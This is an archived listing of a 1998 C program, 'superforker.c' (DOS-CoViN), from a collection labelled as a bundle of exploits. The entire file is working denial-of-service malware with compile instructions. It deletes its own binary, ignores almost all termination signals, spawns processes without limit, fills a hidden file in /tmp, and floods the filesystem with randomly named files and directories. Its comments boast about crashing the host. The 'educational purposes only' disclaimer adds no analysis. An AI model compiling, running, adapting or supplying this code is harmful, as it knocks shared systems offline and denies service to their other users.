home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / superforker.c < prev    next >
Text File  |  1998-07-17  |  4KB  |  155 lines

  1. /* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
  2.    bugtraq
  3.  
  4.    This program is a beefed up classic denial of service fork()'er :)
  5.  
  6.    Compilation:
  7.     on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
  8.     on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
  9.  
  10.     on my linux, I can compile it with both -DBSD_C and -DSYSV_C
  11.  
  12.     if your not sure, you can experiment, or compile it
  13.     without any -D'efines
  14.  
  15.  
  16.    In the future:
  17.     SunOS signals ignored.
  18.     Creation of random symlinks for more gory destruction.
  19.     Using advanced technology coding to make the hard drive
  20.         blow up with a loud boom and the console explode
  21.         causing a nuclear meltdown.
  22.  
  23.  
  24.  
  25.    Direct All Suggestions And Flames to: Vio
  26.  
  27.   NOTE: this program is provided for educational purposes only, its author
  28.     will not take any responsibility for any stupid things you will
  29.     decide to do.
  30.  
  31.     this has been tested, but not the latest version of it.
  32.  
  33.             .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
  34.             $$'   s   `$'   s   `$    $    $    $    `$   $$
  35.             $$    $    $    $    $    $    $    $         $$
  36.             $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
  37.             $$    $ssss$    $    $    $    $    $   $$$   $$
  38.             $$    $    $    $    $.   $   ,$    $   $$$   $$
  39.             $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
  40.             `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
  41.  
  42. */
  43.  
  44.  
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <sys/types.h>
  48. #include <sys/stat.h>
  49. #include <fcntl.h>
  50. #include <unistd.h>
  51. #include <signal.h>
  52.  
  53. #define MAX_FILELEN 100    /* The _actual_ max length */
  54. #define MAX_DIRLEN 10
  55.  
  56. #define START_DIR "/tmp"   /* This can be substituted for any directory */
  57.                /* that you have write access to        */
  58.  
  59. void dirs_generator(void);
  60.  
  61. main(int argc, char *argv[])
  62. {
  63. int fp;
  64. char *buff;
  65. char chr;
  66.  
  67. unlink(argv[0]);
  68.  
  69. /* You might wanna ignore all the signals you can ignore.. */
  70. signal(SIGINT,    SIG_IGN);    /* If any of the signals don't work */
  71. signal(SIGHUP,    SIG_IGN);    /* on the system you are compiling  */
  72. signal(SIGTERM,    SIG_IGN);    /* them on, just erase that line    */
  73. signal(SIGALRM,    SIG_IGN);
  74. signal(SIGBUS,    SIG_IGN);
  75. signal(SIGFPE,    SIG_IGN);
  76. signal(SIGILL,    SIG_IGN);
  77. signal(SIGIOT,    SIG_IGN);
  78. signal(SIGPIPE,    SIG_IGN);
  79. signal(SIGQUIT,    SIG_IGN);
  80. signal(SIGSEGV,    SIG_IGN);
  81. signal(SIGTRAP,    SIG_IGN);
  82. signal(SIGUSR1,    SIG_IGN);
  83. signal(SIGUSR2,    SIG_IGN);
  84.  
  85. #ifdef BSD_C 
  86.     signal(SIGPROF, SIG_IGN);
  87.     signal(SIGSTOP, SIG_IGN);
  88.     signal(SIGTSTP, SIG_IGN);
  89.     signal(SIGTTIN,    SIG_IGN);
  90.     signal(SIGTTOU,    SIG_IGN);
  91.     signal(SIGVTALRM,    SIG_IGN);
  92.     signal(SIGXCPU,    SIG_IGN);
  93.     signal(SIGXFSZ,    SIG_IGN);
  94. #endif
  95.  
  96. #ifdef SYSV_C
  97.     signal(SIGPOLL,    SIG_IGN);
  98.     signal(SIGPWR,    SIG_IGN);
  99. #endif
  100.  
  101. if(fork()) {
  102.     printf("Now crashing and blowing up this system.. have a nice day\n");
  103.     printf("You can safely logout, and let the proggie do its work\n");
  104.     printf("or you can stick around and watch lag go from 0 to bitch\n");
  105.     printf("in a matter of seconds\n");
  106.     printf("                    --CoViN         \n");
  107.     exit(0);
  108.   }
  109. fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
  110. if(fork()) {
  111.     while(1) {
  112.         fork();
  113.         buff = malloc(64000);
  114.         write(fp, buff, 64000);
  115.         system("uptime");
  116.      }
  117.  }
  118. dirs_generator();
  119. }
  120.  
  121.  
  122. void dirs_generator(void)
  123. {
  124. char alph[] = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
  125. char fl[MAX_FILELEN]; 
  126. char dir[MAX_DIRLEN];
  127. int i;
  128. int flen;
  129.  
  130. printf("Making dirs..\n");
  131. chdir(START_DIR);
  132.  
  133. fork();    /* For the simplicity of the code.. we also want more dir's from */
  134. fork(); /* the START_DIR                         */
  135. fork();
  136.  
  137. while(1) {
  138.     fork();
  139.     flen= (rand() % MAX_FILELEN) - 1;
  140.     for(i=0; i<flen; i++)
  141.                 fl[i] = alph[rand() % strlen(alph)];
  142.     fl[MAX_FILELEN-1]=0;
  143.     i=open(fl,O_WRONLY|O_CREAT);
  144.     write(i,"fuck you! CoViN",16);
  145.     close(i);
  146.  
  147.     flen= (rand() % MAX_DIRLEN) - 1;
  148.     for(i=0; i<flen; i++)
  149.         dir[i] = alph[rand() % strlen(alph)];
  150.     dir[MAX_DIRLEN-1]=0;
  151.     mkdir(dir,0);    
  152.     chdir(dir);
  153.        }
  154. }
  155.